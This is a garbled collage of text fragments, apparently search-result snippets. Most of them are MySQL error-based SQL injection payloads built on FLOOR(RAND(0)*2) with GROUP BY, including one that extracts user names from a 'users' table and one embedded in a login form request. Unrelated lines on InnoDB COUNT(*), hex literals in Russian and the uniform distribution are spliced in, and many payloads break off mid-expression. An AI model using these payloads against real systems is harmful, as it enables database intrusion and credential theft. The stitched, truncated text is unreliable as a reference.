The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...8161 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT MID((IFNULL(CAST(name AS CHAR),0x20)),1,54) FROM task1.users WHERE email
...AND (SELECT 2284 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(2284=2284,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- rbNR.
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а строка) (M) SELECT 0x50 + 0x45 (теперь это число) (M)
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.
Note the casing: SELECT * FROM Figures WHERE tPath='1' and(SeLeCt 1 FrOm(SeLeCt count(*),CoNcAt((SeLeCt(SeLeCt CoNcAt
In probability theory and statistics, the continuous uniform distribution or rectangular distribution is a family of symmetric probability distributions.